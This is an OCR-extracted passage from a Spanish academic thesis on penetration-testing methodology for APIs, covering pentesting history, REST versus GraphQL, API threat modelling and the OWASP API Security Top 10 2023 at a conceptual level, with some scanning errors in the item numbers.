dafiina;

Black hat, cuyo objetivo es la explotacion ilicita para beneficio propio.

La primera y més sencilla manera de diferenciar entre los white hats y los black hats
es la autorizacion. La autorizacion es el proceso de obtener aprobacion antes de llevar a cabo
cualquier prueba o ataque. Una vez que se obtiene dicha autorizacion, tanto el penetration
tester como la empresa auditada deben acordar el alcance de la prueba.

El alcance incluye informacion especifica sobre los recursos y sistemas que se incluiran en la

evaluacion. (Engebretson, 2013, pag. 3)
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Aunque hoy hablamos de exploits, protocolos y CVEs, la esencia del pentesting se
remonta a mucho antes de la existencia de Internet. En 1903, durante una demostracion
publica de la telegrafia inalambrica de Guglielmo Marconi una tecnologia revolucionaria para
la época, un ilusionista llamado Nevil Maskelyne transmitié mensajes falsos que
interrumpieron la presentacion oficial. Lo hizo para demostrar, de manera irénica pero
contundente, que el sistema de Marconi no era tan “a prueba de interferencias” como se
proclamaba. Sin saberlo, ese acto sentd una de las primeras bases del pensamiento hacker
moderno: probar la seguridad no desde la teoria, sino desde la practica real y adversarial.

La historia ha demostrado una y otra vez que ningun sistema es seguro por diserno,
sino por validacion continua. Lo que en sus inicios eran juegos de interferencia en sefiales de
radio, con los afios se convertiria en manipulaciones de redes telefonicas (phone-phreaking
en los afios 60), infecciones masivas como el Morris Worm en 1988 y, mas recientemente,
ataques dirigidos contra APIs, servicios cloud e infraestructuras criticas. En todos estos casos,
los incidentes sirvieron para que industria y gobierno reconocieran una verdad incomoda:
solo quien conoce coOmo se ataca, sabe como defender.

Por ello, el pentesting es mas que una actividad técnica: es un componente esencial de
la gestion de riesgos y de la gobernanza de seguridad. Organismos internacionales como
NIST, ISO, OWASP y PTES han establecido marcos metodologicos que permiten
estandarizar este tipo de pruebas para que sus resultados sean medibles, repetibles y utiles
para la toma de decisiones estratégicas. Un informe de pentesting bien elaborado no solo
describe fallos técnicos, sino que traduce esos hallazgos a un lenguaje de impacto
operacional, financiero y reputacional.

En sintesis, el pentesting combina pensamiento ofensivo con ética profesional.
Representa la convergencia entre curiosidad técnica y responsabilidad institucional. Es

investigacion aplicada, pero con proposito preventivo. Es, en esencia, la forma mas honesta
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de responder a la pregunta que toda organizacion deberia hacerse: ;qué tan seguros estamos

realmente?

2.2.2 Importancia del pentesting en la seguridad informadtica actual

La importancia del pentesting no radica inicamente en la ejecucion puntual de una
prueba, sino en la continuidad del ejercicio como parte de un proceso permanente de mejora.
La seguridad no es un estado, sino un ciclo; por ello, cada evaluacion debe asumirse como
una oportunidad para fortalecer el sistema frente a nuevas amenazas emergentes.

Las pruebas de penetracion le permiten ver su organizacion a través de los ojos del
enemigo. Este proceso puede conducir a muchos descubrimientos sorprendentes y brindarle
el tiempo necesario para corregir sus sistemas antes de que un atacante real pueda actuar sin
medida. (Engebretson, 2013, pag. 5)

Tal como enfatiza Engebretson (2013), la verdadera fortaleza del pentesting no radica
unicamente en la identificacion de vulnerabilidades, sino en la capacidad de adoptar la
perspectiva del adversario. Desde su enfoque, ponerse en el lugar del atacante no es un
ejercicio tedrico, sino una estrategia preventiva que permite anticiparse a escenarios reales de
compromiso.

Una prueba de penetracion se considera parte de un proceso normal de gestion de
riesgos de seguridad informatica, el cual puede estar impulsado por requisitos internos o
externos dependiendo de la situacion particular. Ya sea como parte de una evaluacion de
riesgos interna o externa, es importante recordar que una prueba de penetracion es solo uno
de los componentes para evaluar la seguridad de un entorno; sin embargo, con frecuencia es
la parte mas importante, ya que puede proporcionar evidencia real de los problemas de

seguridad. (Oriyano, 2017, pag. 58)
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Adoptar la mentalidad de un adversario ponerse en los zapatos de un APT o atacante
avanzado permite evaluar la infraestructura desde una perspectiva realista y no solo teorica.
Esta vision ofensiva controlada es la que otorga verdadero valor al pentesting, pues revela no
solo las debilidades técnicas, sino también el nivel de prioridad y compromiso que la
organizacion asigna a su propia proteccion.

Comprender a los distintos actores y roles dentro del mundo del hacking y las pruebas
de penetracion es fundamental para captar la vision general. Comencemos describiendo el
panorama con trazos amplios. Ten en cuenta que lo que sigue es una simplificacion
considerable; sin embargo, deberia ayudarte a distinguir las diferencias entre los diversos
grupos de personas involucradas. (Engebretson, 2013, pag. 2)

En ese contexto, comprender quiénes participan en este ecosistema resulta esencial
para definir con claridad el alcance y el proposito del pentesting dentro de una organizacion.
Identificar las motivaciones, capacidades y limites de cada perfil ya sean defensores,
atacantes éticos o adversarios reales permite dimensionar correctamente por qué las pruebas
de penetracion no deben verse como un acto aislado, sino como una practica estratégica
alineada a la proteccion continua.

En ultima instancia, las pruebas de penetracion deberian desempenar un papel
importante dentro de la seguridad general de su organizacion. Al igual que las politicas, las
evaluaciones de riesgos, la planificacion de la continuidad del negocio y la recuperacion ante
desastres se han convertido en componentes fundamentales para mantener a su organizacion
segura y protegida, las pruebas de penetracion también deben incluirse en su plan general de

seguridad. (Engebretson, 2013, pag. 5)
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2.2.3 Diferencias Entre Pentesting Tradicional y Pentesting de APIs

Si bien la metodologia tradicional del pentesting suele estructurarse en fases bien

definidas como pre-engagement, recoleccion de informacion, analisis y escaneo, explotacion,

post-explotacion y elaboracion del reporte final, dicha estructura metodoldgica no excluye a

las APIs. De hecho, el pentesting de APIs puede enmarcarse en el mismo flujo de trabajo

general; sin embargo, cada una de sus etapas requiere ciertos matices especificos debido a la

naturaleza programatica y carente de interfaz visual de las APIs.

Para comprender mejor estas variaciones, en el siguiente cuadro se contrastan las

fases tradicionales con su adaptacion al contexto del pentesting de APIs:

Tabla 1

Diferencia entre el pentesting tradicional y el pentesting de APIs

Aspecto

Pentesting Tradicional

Pentesting de APIs

Superficie de ataque
Interaccion del
atacante

Tipos de
vulnerabilidades

comunes

Herramientas

principales

Autenticacion

Interfaces graficas (web,
moviles), servidores,
redes

Navegacion visual y

logica del usuario

XSS, CSRF, SQL
Injection en formularios

web

Burp Suite, nmap,
Metasploit, OWASP
ZAP, scanners web
generals

Sesiones con cookies /

formularios web

Endpoints expuestos por servicios

REST, SOAP, GraphQL, gRPC, etc.

Peticiones directas a nivel de protocolo
(HTTP/HTTPS), sin interfaz humana
Autenticacion rota, fuga de datos por
endpoints, falta de control de objetos
(IDOR), verbos HTTP mal
implementados

Postman, Insomnia, Burp Suite (con
plugins), OWASP Amass, herramientas
especificas como jwt_tool,
GraphQLmap, Postman Fuzzer, etc.
Tokens (JWT, OAuth2, API keys),
firmas HMAC




Metodologia de Pentesting para APIS 24

Caja negra, gris o blanca  Generalmente caja gris o blanca,

Modelo de prueba con enfoque en flujos porque se requiere documentacion o
funcionales swagger para entender los endpoints
2.3 Fundamentos de APIs

Los fundamentos de las interfaces de programacion de aplicaciones (API) se originan
en los mismos principios que sustentan la comunicacion entre los sistemas informaticos.
Desde los primeros desarrollos de redes de computadoras hasta la actual infraestructura
global de Internet, todo se basa en el intercambio estructurado de informacion entre méaquinas
y servidores.

Esto lo afirma el sitio web YusAPI (2023) “El término API no es nuevo. Se remonta a
los afios 60. La primera mencion formal se encuentra en un articulo de 1968 titulado «Data
structures and techniques for remote computer graphicsy de Wilkes y Needham. Por
entonces, las APIs eran bibliotecas internas que permitian a las aplicaciones comunicarse con
el sistema operativo”.

En esencia, Internet no es mas que una red masiva de conexiones que permite a los
sistemas comunicarse mediante protocolos definidos, y las APIs representan la evolucion
moderna de ese mismo concepto: un medio estandarizado que posibilita la interoperabilidad
entre distintos programas, servicios y dispositivos. Tal como afirma Lauret (2019) “Si las
APIs constituyen el pilar esencial de un mundo interconectado, su disefio representa el
cimiento que sostiene toda su arquitectura. De hecho, el éxito o fracaso de un sistema basado
en APIs depende directamente de la calidad con la que estas han sido concebidas y disenadas,
ya que cada interfaz define la experiencia, seguridad y eficiencia con la que los distintos

componentes interactian dentro de la red.” (pag. 6)
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Hoy en dia, practicamente toda interaccion digital desde una aplicacién moévil hasta
un asistente virtual, desde una plataforma bancaria hasta un sistema de ciberseguridad
depende del uso de APIs. Cada vez que un usuario envia un mensaje, realiza una transaccion
o accede a un servicio en linea, una API actua como intermediaria invisible, garantizando que
la informacion viaje correctamente entre el dispositivo del usuario y los servidores que
gestionan la solicitud.

Segtn Lauret (2019), las interfaces de programacion de aplicaciones (API)
constituyen uno de los pilares fundamentales del mundo digital interconectado. A través de
ellas, los distintos sistemas y programas de software se comunican entre si, desde
aplicaciones moviles hasta complejas infraestructuras de servidores. De este modo, las API
no solo funcionan como simples mecanismos técnicos, sino también como productos
esenciales que sostienen la operatividad y la interoperabilidad de los ecosistemas digitales
modernos (traduccion propia).

De este modo, las APIs se han convertido en el lenguaje comun del ecosistema digital
contemporaneo, permitiendo que las tecnologias converjan, se comuniquen y creen
experiencias integradas, escalables y seguras. Su comprension es, por tanto, indispensable
para el desarrollo de soluciones modernas en campos como la ciberseguridad, la

automatizacion y la inteligencia artificial.

2.3.1 Definicion y caracteristicas de una API

Una API (Application Programming Interface) es un conjunto estructurado de reglas,
protocolos y herramientas que permite la comunicacion e interoperabilidad entre diferentes
sistemas, aplicaciones o servicios de software. A través de las APIs, los desarrolladores

pueden acceder a funciones o datos de un sistema sin necesidad de conocer su
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implementacion interna, garantizando asi la modularidad, escalabilidad y reutilizacion del
codigo.

Asimismo, se presenta la siguiente definicion obtenida de una de las principales
plataformas de formacion en ciberseguridad a nivel internacional.

API significa Interfaz de Programacion de Aplicaciones. Es un middleware que
facilita la comunicacion entre dos componentes de software utilizando un conjunto de
protocolos y definiciones. En el contexto de las API, el término “aplicacién” se refiere a
cualquier software que tenga una funcionalidad especifica, y el término “interfaz” se refiere
al contrato de servicio entre dos aplicaciones que hace posible la comunicacion mediante
solicitudes (requests) y respuestas (responses). (TryHackMe, 2025)

En términos practicos, una API acttia como un puente estandarizado que facilita el
intercambio de informacion entre aplicaciones, permitiendo la integracion de servicios
externos, por ejemplo, pasarelas de pago, autenticacion, geolocalizacion o analisis de datos de
forma segura, eficiente y controlada.

Las APIs Web se han convertido en un pilar fundamental del ecosistema tecnologico
actual. Su capacidad para interconectar sistemas y facilitar la reutilizacion de recursos
impulsa la eficiencia en el desarrollo de software.

Es destacable la importancia que tienen las APIs Web en la actualidad, ya que son
ampliamente utilizadas para el desarrollo de software, sobre todo por las mas grandes
empresas, como Google o Amazon. Las APIs son muy utiles al permitir consumir y gestionar
datos provenientes de aplicaciones o software externos a un producto o aplicacion sin
necesidad de volver a generarlos desde cero. (Enriquez & Casas, 2023, pag. 124)

En el ecosistema tecnoldgico actual existe una infinidad de tipos de interfaces de
programacion de aplicaciones (API), cada una disefiada con propoésitos y alcances distintos.

Sin embargo, de manera general, es posible agruparlas en tres grandes categorias: las APIs de
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hardware, que permiten la comunicacion directa con dispositivos fisicos o componentes
electronicos; las APIs de libreria, que facilitan la reutilizacion de funciones y mddulos dentro
del propio entorno de desarrollo; y las APIs remotas, que habilitan la interaccion entre
sistemas distribuidos a través de redes o de Internet.

Tal como explica Lauret (2019), en un escenario practico pueden coexistir
simultdneamente estos tres tipos de API: una de hardware, una de libreria y una remota,
siendo esta ultima el foco principal de su obra, al representar la base de la conectividad

moderna y de los servicios web actuales.

2.3.3 Comparacion entre RESTful y GraphQL

GraphQL y REST son dos enfoques distintos para disefiar una API para el
intercambio de datos a través de Internet. REST permite a las aplicaciones cliente
intercambiar datos con un servidor mediante verbos HTTP, que es el protocolo de
comunicacion estandar de Internet. Por otro lado, GraphQL es un lenguaje de consulta de API
que define las especificaciones relativas a como una aplicacion cliente debe solicitar datos de
un servidor remoto. Puede usar GraphQL en sus llamadas a la API sin depender de la
aplicacion del lado del servidor para definir la solicitud. Tanto GraphQL como REST son
tecnologias eficaces que estan detras de la mayoria de nuestras aplicaciones modernas.
(Amazon, 2025)

En el marco de la presente investigacion, se abordaran dos de los principales
paradigmas de disefio de APIs modernas: REST y GraphQL, con el proposito de realizar un
analisis comparativo detallado que permita comprender sus caracteristicas, funcionamiento y
diferencias estructurales. Este estudio busca ofrecer una vision mas precisa y fundamentada

sobre como cada modelo gestiona la comunicacion entre cliente y servidor, el intercambio de
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datos y la exposicion de recursos, considerando aspectos como rendimiento, flexibilidad,
eficiencia en las consultas y seguridad.

GraphQL es un lenguaje de consulta y manipulacion de datos para APIs, desarrollado
por Facebook en 2012 y liberado como codigo abierto en 2015. Permite a los clientes solicitar
exactamente la informacion que necesitan y nada mas, optimizando el consumo de recursos y
reduciendo el numero de peticiones al servidor. A diferencia de REST, GraphQL utiliza un
unico endpoint y una estructura declarativa, donde el cliente define la forma y profundidad de
la respuesta. Esto mejora la eficiencia, flexibilidad y rendimiento de las aplicaciones
modernas, especialmente en entornos moéviles y de microservicios.

GraphQL ofrece una solucidon a muchas de las limitaciones e ineficiencias que
experimentan los desarrolladores al interactuar con las API REST. Por ejemplo, GraphQL
brinda al usuario la posibilidad de solicitar inicamente la informacion especifica que
necesita. (Semere, 2017, pag. 12)

REST es un estilo arquitectonico para el disefio de servicios web, propuesto por Roy
Fielding en el afio 2000. Se basa en el uso de métodos estandar del protocolo HTTP (GET,
POST, PUT, DELETE, etc.) para realizar operaciones sobre recursos identificados mediante
URLSs unicas. Cada recurso se representa normalmente en formatos como JSON o XML, y las
interacciones son sin estado (stateless), lo que simplifica la escalabilidad y la
interoperabilidad entre sistemas. REST se caracteriza por su simplicidad, robustez y amplia
adopcion, siendo la base de la mayoria de las APIs modernas.

Como se aprecia REST es bastante flexible y nos ofrece diferentes alternativas de
disefio, el usar una u otra depende so6lo de lo que pensemos que sera mas interoperable en
cada caso. Un criterio sencillo para decidir si hacer slicing o descomponer la entidad en

recursos de detalle, es cuantos niveles de anidamiento vamos a tener. (Amodeo, 2013, pag. 3)



Metodologia de Pentesting para APIS 29

Aunque las APIs REST han demostrado ser una solucion robusta y ampliamente
adoptada por su simplicidad y estandarizacion, GraphQL surge como una alternativa moderna
que responde a las limitaciones de flexibilidad y eficiencia en la obtencion de datos. Esta
diferencia refleja no solo una variacidn técnica, sino también un cambio en la manera en que
las aplicaciones modernas gestionan y consumen informacion. A partir de esta comparacion,
resulta pertinente analizar como ambas tecnologias se insertan dentro de la evolucion general
de las arquitecturas de APIs y el camino que ha llevado a la coexistencia de REST y

GraphQL en los ecosistemas actuales.

2.3.2 Evolucion de arquitecturas de APIs: REST y GraphQL

Las arquitecturas de interfaces de programacion de aplicaciones (APIs) han
evolucionado significativamente en las tltimas décadas, impulsadas por la necesidad de
sistemas mas flexibles, escalables y orientados a la interoperabilidad. Desde los primeros
servicios web basados en SOAP hasta la consolidacion de REST y el surgimiento de
GraphQL, esta evolucion refleja una biisqueda constante por mejorar la comunicacion entre
aplicaciones y optimizar el intercambio de datos en entornos distribuidos.

En general, las respuestas SOAP tienden a ser mas extensas y complejas que las
respuestas de las APIs REST o GraphQL, debido a su uso de XML y del formato de
envoltura (envelope). Sin embargo, este formato proporciona una forma estandarizada de
intercambio de informacion que puede ser util en determinadas industrias y casos de uso.
(Cocca, 2023)

Durante los afos 2000, los servicios web basados en SOAP (Simple Object Access
Protocol) dominaron el panorama de la integracion de sistemas. SOAP ofrecia un protocolo

estructurado y basado en XML que garantizaba interoperabilidad, pero su complejidad y
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rigidez lo convirtieron en una opcidn dificil de mantener y poco eficiente para aplicaciones
web modernas.

Ante estas limitaciones, surgié REST (Representational State Transfer) como una
alternativa mas ligera y sencilla. Propuesto por Roy Fielding en el afio 2000, REST se basa en
los principios del protocolo HTTP, aprovechando sus métodos estandar (GET, POST, PUT,
DELETE) y su enfoque sin estado (stateless). Su simplicidad y compatibilidad con los
estandares de la web favorecieron una rapida adopcidn, impulsando el desarrollo de
arquitecturas orientadas a recursos (ROA) y fomentando la escalabilidad de los servicios
distribuidos.

REST suele ser mas rapido debido a su naturaleza sin estado y a su compatibilidad
con el almacenamiento en caché. La mensajeria basada en XML de SOAP puede ser mas
lenta debido a las cargas utiles mas grandes y a los requisitos de procesamiento adicionales.
(Appleute, 2025)

Durante mas de una década, REST se convirtio en el estandar de facto para la
exposicion de APIs, especialmente en entornos empresariales y de desarrollo moévil. Su éxito
radica en su facilidad de uso, su independencia del lenguaje y su compatibilidad con
infraestructuras existentes.

Sin embargo, el crecimiento de las aplicaciones web y moéviles trajo consigo nuevas
necesidades: interfaces mas dinamicas, optimizacioén de rendimiento y reduccién de la
sobrecarga en las solicitudes. REST, al estar basado en endpoints fijos y respuestas
predefinidas, comenzo6 a mostrar limitaciones, especialmente ante escenarios donde los
clientes requerian datos personalizados o multiples recursos en una sola consulta. Esto
generaba problemas como el over-fetching (exceso de datos no necesarios) y el under-
fetching (falta de datos que obliga a realizar multiples llamadas), afectando la eficiencia del

consumo de API.
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Segun Appleute (2025), una de las principales criticas hacia el enfoque REST es que
puede generar solicitudes de datos excesivas o insuficientes, lo que implica una transferencia
innecesaria de informacion entre el cliente y el servidor. En cambio, GraphQL soluciona esta
limitacidn al permitir que los clientes definan de manera precisa los datos que necesitan,
optimizando asi el rendimiento y evitando el intercambio redundante de informacion. Esta
caracteristica ha posicionado a GraphQL como una alternativa mas eficiente para el
desarrollo de aplicaciones modernas que requieren flexibilidad y precisiéon en la
comunicacion de datos.

En respuesta a estas limitaciones, Facebook introdujo GraphQL en 2015, un lenguaje
de consulta para APIs que permite a los clientes especificar exactamente qué datos necesitan.
A diferencia de REST, GraphQL se centra en un tnico endpoint y en la definicién de
esquemas y resolvers, lo que otorga mayor flexibilidad y eficiencia en la comunicacion entre
cliente y servidor.

REST a menudo requiere acceder a varios endpoints para recopilar diferentes piezas
de informacion, lo que puede conducir a una obtencion excesiva o insuficiente de datos.
GraphQL permite a los clientes especificar con precision los datos que necesitan desde un
unico endpoint, minimizando asi el volumen de datos transmitidos a través de la red.
(Kanjilal, 2024)

GraphQL no reemplaza completamente a REST, sino que redefine la manera en que
se estructuran y consumen los datos. Su enfoque declarativo y su capacidad para anidar
consultas complejas permiten optimizar el trafico de red y mejorar el rendimiento de
aplicaciones con interfaces dindmicas o dependientes de datos en tiempo real. Ademas, su
integracion con herramientas modernas de desarrollo facilita la documentacion automatica, la
validacion de tipos y la evolucion de los servicios sin romper compatibilidad con versiones

anteriores.
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En la actualidad, tanto REST como GraphQL coexisten en el ecosistema tecnologico.
REST sigue siendo ideal para servicios sencillos, sistemas legacy o escenarios donde la
simplicidad y el caché¢ HTTP resultan criticos. GraphQL, por su parte, destaca en entornos
donde se prioriza la flexibilidad, la optimizacion de consultas y la experiencia del
desarrollador.

La evolucion de las arquitecturas de APIs, por tanto, no implica una sustitucion
directa, sino una diversificacion de enfoques que responde a las necesidades especificas de
cada proyecto. En muchos casos, las organizaciones adoptan modelos hibridos, integrando
GraphQL como capa sobre APIs REST existentes, combinando asi estabilidad y
modernizacion tecnologica.

Segun Kanjilal (2024) con el avance de la tecnologia a un ritmo tan acelerado, REST
parece tener un futuro prometedor. Gracias a su simplicidad y escalabilidad, se espera que
REST siga siendo un estilo arquitectonico fundamental para el disefio de aplicaciones en red.

La transicion de REST a GraphQL ilustra una tendencia mas amplia en la ingenieria
de software: el paso de arquitecturas centradas en el servidor a modelos orientados al cliente
y a la eficiencia de datos. Esta evolucion no solo representa una mejora técnica, sino también
un cambio conceptual en la manera en que se disefian consume y escalan los servicios

digitales.

2.4 Seguridad en APIs
2.4.1 Concepto de Seguridad en APIs

Dado el constante auge y crecimiento tecnoldgico, resulta fundamental contar con
mecanismos e infraestructuras que permitan la interconexion entre diversos sistemas para
aprovechar al maximo sus beneficios. Esta interconectividad facilita un mejor desempefio en

el ambito de la comunicacion tanto para desarrolladores, clientes como servidores,
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optimizando los procesos y el intercambio de informacion.

Sin embargo, desde los primeros envios de datos realizados por Guglielmo Marconi, pionero
en las comunicaciones inalambricas, se ha evidenciado la necesidad de garantizar la
seguridad de la informacion transmitida. En este contexto, surge la importancia de proteger
las APIs, ya que constituyen un componente esencial en la interaccion entre aplicaciones y, al
mismo tiempo, un potencial punto de vulnerabilidad ante ataques cibernéticos.

Contamos con definiciones de seguridad en APIs proporcionadas por una de las
organizaciones mas reconocidas a nivel mundial en materia de seguridad web: OWASP
(Open Web Application Security Project), la cual sefiala lo siguiente:

Un elemento fundamental de la innovacion en el mundo actual impulsado por las
aplicaciones es la API. Desde los sectores bancario, minorista y de transporte hasta el Internet
de las Cosas (I0T), los vehiculos autdbnomos y las ciudades inteligentes, las APIs constituyen
una parte critica de las aplicaciones moéviles, SaaS y web modernas, y pueden encontrarse en
aplicaciones orientadas al cliente, al socio o de uso interno. Por su naturaleza, las APIs
exponen la logica de la aplicacion y datos sensibles como la Informacion de Identificacion
Personal (PII), y debido a ello se han convertido cada vez més en un objetivo para los

atacantes. Sin APIs seguras, la innovacion rapida seria imposible. (OWASP, 2024)

2.4.2 Modelos de Amenazas en APIs

Un modelo de amenazas de API es un marco estructurado que permite detectar los
posibles vectores de ataque y evaluar el impacto potencial de las vulnerabilidades dentro del
ciclo de vida de una API. Su proposito principal es anticipar los riesgos antes de que puedan
ser explotados por actores maliciosos, asegurando asi la confidencialidad, integridad y

disponibilidad de los datos y servicios expuestos.
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El modelado de amenazas trabaja para identificar, comunicar y comprender las
amenazas y mitigaciones dentro del contexto de proteger algo de valor, el modelado de

amenazas se puede aplicar a una amplia gama de cosas, incluyendo software, aplicaciones,
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sistemas, redes, sistemas distribuidos, cosas en Internet de las cosas, procesos de negocio, etc.

Hay muy pocos productos técnicos que no puedan tener un modelado de amenazas; que sea
mas o menos gratificante, dependiendo de cudnto éste se comunica, o interactua, con el
mundo. (OWASP, 2024)

Este enfoque destaca que la seguridad no es solo una cuestion de implementar
controles aislados, sino de comprender como cada componente de un sistema puede ser
explotado o afectado por su interaccion con el entorno. Por ello, un modelado de amenazas
bien estructurado sirve como guia estratégica que orienta la integracién de herramientas y
servicios, asegurando que las medidas de proteccion se apliquen de manera coherente y
efectiva a lo largo de todo el ciclo de vida de las APIs.

Segtn (Microsoft Learn, 2025), Azure APl Management proporciona controles
integrales para garantizar la seguridad de las APIs, pero su verdadera fortaleza radica en la
integracion con otros servicios complementarios que permiten detectar y mitigar amenazas
segun lo identificado por OWASP. Entre estos servicios, Defender for API, dentro de
Microsoft Defender for Cloud, ofrece informacion detallada sobre la seguridad de las APIs,
genera recomendaciones proactivas y permite la deteccion de amenazas, mientras que el

Centro de API de Azure facilita la gobernanza centralizada y la gestion del inventario de

APIs en toda la organizacion. Adicionalmente, herramientas como Azure Front Door, Azure

Application Gateway y Azure Web Application Firewall (WAF) brindan proteccion frente a

amenazas tradicionales y bots de aplicaciones web, y Azure DDoS Protection ayuda a
identificar y mitigar ataques distribuidos de denegacion de servicio. Los servicios de red de

Azure permiten restringir el acceso publico a las APIs, reduciendo la superficie de
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exposicion, mientras que Azure Monitor y Log Analytics proporcionan métricas y registros
operativos que facilitan la investigacion de incidentes de seguridad. Finalmente, Azure Key
Vault asegura el almacenamiento de certificados y secretos utilizados por API Management,
y Microsoft Entra garantiza métodos avanzados de administracion de identidades, asi como la
autenticacion y autorizacion de solicitudes. En conjunto, este ecosistema integrado permite a
las organizaciones gestionar sus APIs con altos estandares de seguridad, resiliencia y control,

reforzando la proteccion frente a las principales amenazas de OWASP.

2.4.5 OWASP API Security Top 10 Como Referencia Central

El OWASP API Security Top 10 constituye un marco de referencia critico para la
evaluacion de riesgos y la implementacion de controles de seguridad en entornos basados en
APIs. Este estandar identifica las vulnerabilidades mas frecuentes y severas que afectan a las
APIs modernas, incluyendo problemas de autenticacion y autorizacion insuficiente,
exposicion excesiva de datos, control inadecuado de flujos de informacion y fallas en la
validacion de entradas.

El OWASP API Security Top 10 es una lista de los riesgos mas criticos de seguridad
en APIs, mantenida por la Fundacion OWASP dentro del proyecto OWASP API Security
Project. Publicada por primera vez en 2019 y actualizada en 2023, destaca las debilidades
mas comunes, incluyendo fallos de autorizacion, configuraciones incorrectas y consumo
inseguro de APIs. Su objetivo es ayudar a los desarrolladores y equipos de seguridad a
priorizar las defensas y aplicar controles de seguridad coherentes en todo su ecosistema de
APIs. (Hakimi, 2025)

Desde la perspectiva de un profesional de ciberseguridad, este listado permite
priorizar los esfuerzos de mitigacion, enfocdndose en aquellas areas donde un compromiso

tendria mayor impacto sobre la confidencialidad, integridad y disponibilidad de los sistemas.



Metodologia de Pentesting para APIS 36

Ademas, su aplicacion sistematica promueve una arquitectura de defensa en profundidad,
garantizando que cada componente de la API cuente con controles apropiados y alineados
con las mejores practicas de seguridad reconocidas internacionalmente. En este sentido, el
OWASP API Security Top 10 no solo sirve como guia para auditorias y pruebas de
penetracion, sino también como un referente para disefiar APIs resilientes frente a amenazas

avanzadas y ataques dirigidos.

2.5 Vulnerabilidades en APIs

El OWASP API Security Top 10 — 2023 refleja las amenazas mas criticas que
enfrentan las APIs modernas, actualizando y refinando las categorias previas de 2019 para
enfocarse en los problemas raiz que impactan directamente la seguridad de las aplicaciones.
Cada item representa una vulnerabilidad que puede comprometer la confidencialidad,
integridad y disponibilidad de los sistemas, y su correcta comprension es esencial para
arquitecturas resilientes y seguras.

Entre los aspectos mas relevantes se incluyen la autorizacion deficiente a nivel de
objeto y propiedad (API1 y API3), que permite a atacantes acceder o manipular datos sin
permisos adecuados; fallos en la autenticacion (API2), que comprometen la identidad de los
usuarios; y vulnerabilidades asociadas a la explotacion de recursos y flujos sensibles (API4 y
API6), que pueden causar denegacion de servicio o impactos econdmicos directos. También
se destacan riesgos mas técnicos, como Server-Side Request Forgery (API17), configuraciones
inseguras (APIS8), mala gestion de inventario de endpoints y versiones (API9), y consumo
inseguro de APIs de terceros (API10).

Los desarrolladores necesitan interactuar con otros programas; como resultado, un
desarrollador puede realizar tareas especificas sin tener autorizacion para acceder a la

totalidad del software. Esto, sin duda, reduce la carga de trabajo, pero al mismo tiempo
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introduce riesgos. Al final, todo desarrollador desea garantizar la seguridad de su aplicacion.

(Touhid et al., 2018, pag. 9)

La comprension y mitigacion de estas vulnerabilidades exige un enfoque integral, que

combine revision de codigo, pruebas de penetracion, gestion de configuraciones y monitoreo

continuo de APIs. Desde la perspectiva de ciberseguridad profesional, este listado se

constituye como referencia central para auditorias de seguridad, disefio seguro de APIsy

establecimiento de politicas de control de acceso robustas.

Tabla 2

OWASP API Security Top 10— 2023

Cédigo Vulnerabilidad Descripcion
. Falta de autorizacion adecuada a nivel de
Broken Object Level . - .
API1:2023 o objetos, permitiendo acceso no autorizado a
Authorization
datos identificados por IDs.
Fallos en la autenticacion que permiten
API2:2023  Broken Authentication .
comprometer tokens o suplantar usuarios.
. Falta de validacion de autorizacion a nivel de
Broken Object Property
API3:2023 propiedades de objetos, provocando exposicion
Level Authorization ' '
o manipulacion de datos.
. Consumo ilimitado de recursos de red, CPU,
Unrestricted Resource . o
API4:2023 ) memoria, 0 servicios pagos, generando
Consumption . o o
denegacion de servicio o costos adicionales.
Autorizacion deficiente en funciones
Broken Function Level
API5:2023 o administrativas y de usuario, exponiendo
Authorization .
recursos sensibles.
Exposicion de flujos de negocio criticos sin
Unrestricted Access to
API16:2023 restricciones, susceptible a uso abusivo
Sensitive Business Flows ‘
automatizado.
. API permite solicitudes a destinos externos sin
Server-Side Request
API7:2023 validar URI, facilitando ataques a sistemas

Forgery (SSRF)

internos.
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Caodigo Vulnerabilidad Descripcion
) Configuraciones inseguras de APIs y sistemas,
Security . . .
API8:2023 . . derivadas de malas practicas o descuidos de
Misconfiguration
DevOps/ingenieria.
Improper Invento Inventario inadecuado de endpoints y versiones,
API19:2023 prop Y . P Y .
Management exponiendo APIs obsoletas o de depuracion.
. Consumo inseguro de APIs de terceros,
Unsafe Consumption of
API10:2023 confiando en datos externos sin controles

APIs
robustos.

Nota: La estructura y descripcion de las vulnerabilidades se inspira en OWASP API Security

Top 10 — 2023, elaboradas con redaccion y enfoque propios del autor.

2.5.1 Vulnerabilidades comunes en APIs RESTful

Las APIs REST estan creciendo rapidamente. Este informe sefiala que el 50% de las
organizaciones experimentaron un incidente de seguridad en APIs REST durante los ultimos
12 meses, y que las fuentes de amenazas potenciales en las APIs REST provienen en un 40%
de configuraciones incorrectas y en un 35% de APIs sin el mantenimiento adecuado, ya sea
en las pruebas de software o en las validaciones de seguridad. (Marcelo et al., 2025, pag. 1)

El texto evidencia una realidad preocupante: las organizaciones estan adoptando APIs
REST con gran velocidad, pero sin acompafiar ese crecimiento con una estrategia de
seguridad proporcional. Este fenomeno refleja una tendencia comun en el ambito
tecnoldgico: la prioridad por la funcionalidad y la agilidad supera a menudo la atencion en la
seguridad. Desde una perspectiva técnica, los porcentajes citados muestran que las amenazas
no provienen Unicamente de ataques externos, sino de errores internos en la configuracion y
del descuido en el mantenimiento, dos factores que suelen pasar desapercibidos en los ciclos
de desarrollo continuo (DevOps). Esto demuestra que muchas empresas carecen de una
cultura de seguridad integrada desde el disefio (“security by design”) y que la implementacion

de controles automéaticos como validaciones, escaneos de vulnerabilidades y monitoreo de
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comportamiento andmalo en endpoints deberia ser un requisito esencial, no un complemento.
En suma, el problema no radica tanto en la tecnologia de las APIs, sino en la falta de
gobernanza y madurez en la gestion de sus riesgos operativos.

En este sentido, el auge de las APIs REST como medio principal de comunicacion
entre aplicaciones ha incrementado tanto la eficiencia operativa como la superficie de
exposicion a ataques. Su caracter abierto, modular y ampliamente interoperable, aunque
beneficioso para el desarrollo agil, introduce nuevos vectores de riesgo que requieren una
atencion especializada. Por ello, resulta imprescindible analizar las causas mas frecuentes de
vulnerabilidades en APIs, asi como las falencias en su configuracion, mantenimiento y
monitoreo, con el proposito de comprender como estas debilidades pueden ser explotadas y
qué medidas pueden adoptarse para mitigar su impacto.

Las vulnerabilidades siempre existiran en los entornos informaticos, dado que estos
gestionan informacion altamente valiosa. En la era digital actual, dicha informacion
representa un activo de gran interés para empresas, organizaciones, gobiernos y diversos
actores que buscan acceder a ella con distintos fines. En el contexto de las AP/ REST, es
posible identificar multiples tipos de vulnerabilidades, tal como lo sefialan diversos autores
especializados en seguridad informaética.

